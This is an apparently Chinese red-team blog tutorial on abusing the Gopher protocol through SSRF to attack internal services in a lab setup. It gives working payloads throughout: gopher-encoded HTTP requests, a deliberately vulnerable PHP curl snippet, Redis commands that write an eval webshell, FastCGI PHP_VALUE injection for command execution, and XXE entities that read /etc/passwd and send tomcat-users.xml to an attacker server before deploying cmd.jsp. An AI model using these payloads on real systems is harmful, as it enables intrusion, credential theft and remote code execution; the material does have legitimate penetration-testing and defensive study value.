这是 酒仙桥六号部队 的第 64 篇文章。
全文共计3714个字,预计阅读时长12分钟。
什么是Gopher协议?
Gopher协议是一个通信协议,它用来设计,分配,搜索与检索文档中的internet协议的网络。在超文本传输协议(http)出现之前,它是internet上最重要的信息检索工具,gopher生态系统被认为是万维网的前身。
Gopher这个名字是由在明尼苏达大学的Anklesaria 命名的,它的名字由来是这样的:
-
明尼苏达大学的吉祥物是地鼠。
-
一个跑腿的助手就像地鼠一样在地下挖洞总能到达它想要的位置。
由于可以GET、POST请求,那可以先截获get请求包和post请求包,再构造成符合gopher协议的请求,利用Gopher我们可以对FTP,Telnet,Redis,Memcache,基于一个TCP 包的 exploit等等进行内网攻击,这样极大的拓宽了我们的攻击面。
Gopher协议格式
Gopher默认端口是70:
URL:gopher://<host>:<port>/<gopher-path>
<gopher-path>可以是下面其中之一的格式:
<gophertype><selector>
<gophertype><selector>%09<search>
<gophertype><selector>%09<search>%09<gopher+_string>
如果省略<port>,则端口默认为70。<gophertype>是一个单字符字段,表示URL所引用资源的Gopher类型。
整个<gopher-path>也可以为空,在这种情况下,定界“/”也是可以为空,并且<gophertype>默认为“ 1”。
<selector>是Gopher选择器字符串。在Gopher协议中,Gopher选择器字符串是一个八位字节序列,可以包含除09十六进制(US-ASCIIHT或制表符),0A十六进制(US-ASCII字符LF)和0D(US-ASCII字符CR)之外的任何八位字节。
<search>用于向gopher 搜索引擎提交搜索数据,和<selector>之间用%09隔开。
Gopher客户端通过将Gopher<selector>字符串发送到Gopher服务器来指定要检索的项目。
如何转换规则
我们先随意构造一个简单php代码
$b=$_REQUEST["a"]
echo $b;
我们构造一个GET包。
虽然Burp帮我们GET那么多参数,我们可以缩到3行。
GET /edit.php?a=Hi HTTP/1.1
Host: 127.0.0.1
Connection: close
转换规则
1.如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
2.如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
3.将r字符串替换成%0d%0a。
4.空白行替换为%0a。
5.问号需要转码为URL编码%3f,同理空格转换成%20。
6.在HTTP包的最后要加%0d%0a,代表消息结束。
我们先将其转换成gopher协议执行。
curlgopher://192.168.11.1:80/_GET%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0a
Content-Length为2。
POST同理,但是需要5行。
POST /edit.php HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
a=Hi
curlgopher://192.168.11.1:80/_POST%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0a
我们可以测试SSRF中gopher是否有效。
先写一个有SSRF的漏洞PHP代码,这里没对参数做任何过滤。
$url = $_GET['url'];
$curlobj = curl_init($url);
echo curl_exec($curlobj);
注意php.in 要开启extension=php_curl.dll
Php版本>5.3 (gopher协议在5.3版本以上才开始支持)
攻击机监听本地4444端口,同时浏览器访问:
192.168.11.1/ssrf2.php?url=gopher://192.168.11.130:4444/_hello
记得要在传输的数据前加一个无用字符。
收到传输过来的字符那么说明没有问题。
FTP爆破
内网中存在弱口令的FTP比较多,我们可以尝试一下。
攻击机IP:192.168.11.130
SSRF服务器IP:192.168.1.11
FTP服务器IP:192.168.11.136
首先,先在FTP的服务器上测试一下访问FTP的流量情况,对其进行抓包处理。
curl ftp://vsftp:[email protected]/ 【vsftp账号:vsftp密码】
右键 Follow tcp steam ,保存为ASCII格式,这里我们只保留 USER PASSQUIT这3个字符用于加快爆破返回速度。
按照规则转换成gopher码,再放入BP中需要对其进行一次转码进行爆破。
REDIS
常见的写入webshell脚本。
flushall
set 1 'eval($_GET["cmd"]); '
config set dir /www/wwwroot/
config set dbfilename shell.php
save
用wireshark捕捉lo0,再写入:
右键定位tcp跟踪流:
按之前的方法转换成gopher码后,成功生成shell.php。
当然我们也可以利用gopherus直接生成gopher码
https://github.com/tarunkant/Gopherus
成功执行,可以用蚁剑连接。
Redis 未授权访问除了Webshell之外 ,我们也可以使用 crontab 反弹 shell,利用公私钥直接登录目标服务器,主从模式等。
MYSQL
MYSQL认证模式有2种
-
密码认证,这种使用挑战应答模式,服务器会先对密码加salt之后再进行验证。
-
无需密码认证,直接发送数据包即可。
MYSQL还有3种连接方式:
-
Unix套接字,这种用于linux或者unix环境下且client和server端需要在一台电脑中。
-
内存共享或者命名管道。这种用于windows环境下且clent和server端在一台电脑中。
-
TCP/IP,网络传输协议,使用的最多的一种连接方式。
那么在非交互下我们可以使用TCP/IP 无密码认证来实现攻击。
先创建1个无密码的本地登录用户,再进行抓包处理。
客户端输入:
mysql -h 127.0.0.1 -u ssrf -p
show version();
exit;
将得到的抓包文件同理进行过滤成tcp流 raw格式。
再将进行一次urlencode格式转换。成功得到版本信息。
我们这里也可以用https://github.com/FoolMitAh/mysql_gopher_attack 实现。
我们这里尝试写入phpinfo文件。
前提是我们需要足够有写入的文件权限,以及将-sercure-file-priv其修改为空,不然只能导入到指定的位置。
如新版本mysql强制导出文件到指定文件,需要对其进行添加新路径。
eg: python exploit.py -u root -p "" -d "" -P "PAYLOAD" -v -c
FAST CGI
FastCGI(Fast Common GatewayInterface)全称是“快速通用网关接口”,是通用网关接口(CGI)的增强版本,由CGI发展改进而来,主要用来提高CGI程序性能,类似于CGI,FastCGI也是一种让交互程序与Web服务器通信的协议。
Fastcgi协议由多个record组成,其中recoed包含header和body。服务器中间件将header和body按照fastcgi的规则封装好通过tcp发送给FPM(Fastcgi协议解析器),FPM解码后将结果再封装后返回给中间件。
其中FPM按照fastcgi的协议将TCP流解析成真正的数据。
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2, 如果web目录是/var/www/abc,那么Nginx会将这个请求变成如下key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/abc/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/abc',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/abc/index.php。
也就是说php-fpm根据script_filename的值来执行php文件。如果该文件不存在,则返回404。
大致原理:
1.NGINX与IIS7曾出现php解析漏洞,例如访问http://127.0.0.1/1.jpg/.php则访问的文件是1.jpg,却按照.php解析。
由于php中的fix_pathinfo特性,如果地址路径为/var/www/abc。它会先判断SCRIPT_FILENAME即/var/www/abc/1.jpg/.php是否存在,如果不存在则去掉最后一个/和后面的内容,判断/var/www/abc/1.jpg是否存在,如果存在则按照php来解析。
2.PHP.INI中有两个配置项,auto_prepend_file和auto_append_file。可以将文件require到所有页面的顶部与底部。
auto_prepend_file是在执行目标之前先包含auto_prepend_file中指定的文件,我们可以将auto_prepend_file设定为php://input,auto_append_file是执行完成目标文件后,包含auto_append_file指向的文件。
其中FPM还有2个变量需要如下设置PHP_VALUE和PHP_ADMIN_VALUE。
分别设置为:
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
利用条件:
-
libcurl版本>=7.45.0(由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断)
-
PHP-FPM监听端口
-
PHP-FPM版本 >= 5.3.3
-
知道服务器上任意一个php文件的绝对路径
FastCGI 基本都在本地 127.0.0.1 端口上的,这里用P神脚本尝试执行。
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
我们将其转换成gopher,先监听2333端口。
再执行脚本。
得到的脚本进行简单的urlencode转换。
执行即可:
curl -v ‘gopher://127.0.0.1:9000/_[上面生成payload]’
我们可以利用gopherus直接生成gopher码
下图可以直接进行命令执行。
XXE
我们这边模拟一个JAVA-XXE的环境用XXE来读取其中的TOMCAT账号密码 ,最后用gopher来执行RCE。
存在XXE 服务器IP:192.168.11.139
攻击服务器IP:192.168.11.130
环境https://github.com/pimps/docker-java-xxe
这里搭建完后有个小BUG,需要将app中index.htmlxxe-example.war拷贝到子目录xxe-example。
我们先测试xxe是否能读取出XXE漏洞服务器本地密码。
这里访问192.168.11.139:8080并构建XXE,
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<book>
<title>&xxe;</title>
<isbn>31337</isbn>
<author>Jon Snow</author>
</book>
我们接下来读取tomcat里面的tomcat-user.xml数据并将其传递给远程的攻击服务器。
提供ftp服务和web服务的服务器,FTP负责接受外部的DTD数据,WEB提供接受FTP的payload。
环境https://github.com/staaldraad/xxeserv
编写一个外部的dtd。
./xxeserv -wp 4444 -w -p[-wp为开启web并修改web端口 -p开启FTP端口]
尝试读取tomcat-user.xml里面的账户密码。
构建XXE:
<!ENTITY % data3 SYSTEM "file:///opt/tomcat/conf/tomcat-users.xml">
<!ENTITY % sp SYSTEM "http://192.168.11.130:4444/dtds/oob.dtd">
%sp;
%param3;
%exfil;
]>
<book>
<title>OOB EXFILL</title>
<isbn>31337</isbn>
<author>xxx</author>
</book>
使用脚本执行一键RCE。
脚本https://github.com/pimps/gopher-tomcat-deployer
我们用刚才读取出的账号密码构建::
python gopher-tomcat-deployer.py -u admin -p admin -t 127.0.0.1 -pt 8080 cmd.jsp
将生成的gopher导入payload 中:
成功生成cmd目录和cmd.jsp并能执行命令。
总结
虽然Gopher协议已经渐渐退出了历史的舞台,但是对渗透来说仍然是个不可低估的协议。它总能扩大思维结合其他漏洞进行许多拓展攻击。
参考链接:
https://en.wikipedia.org/wiki/Gopher_(protocol
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://joychou.org/web/phpssrf.html
https://blog.chaitin.cn/gopher-attack-surfaces/
https://staaldraad.github.io/2016/12/11/xxeftp/
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论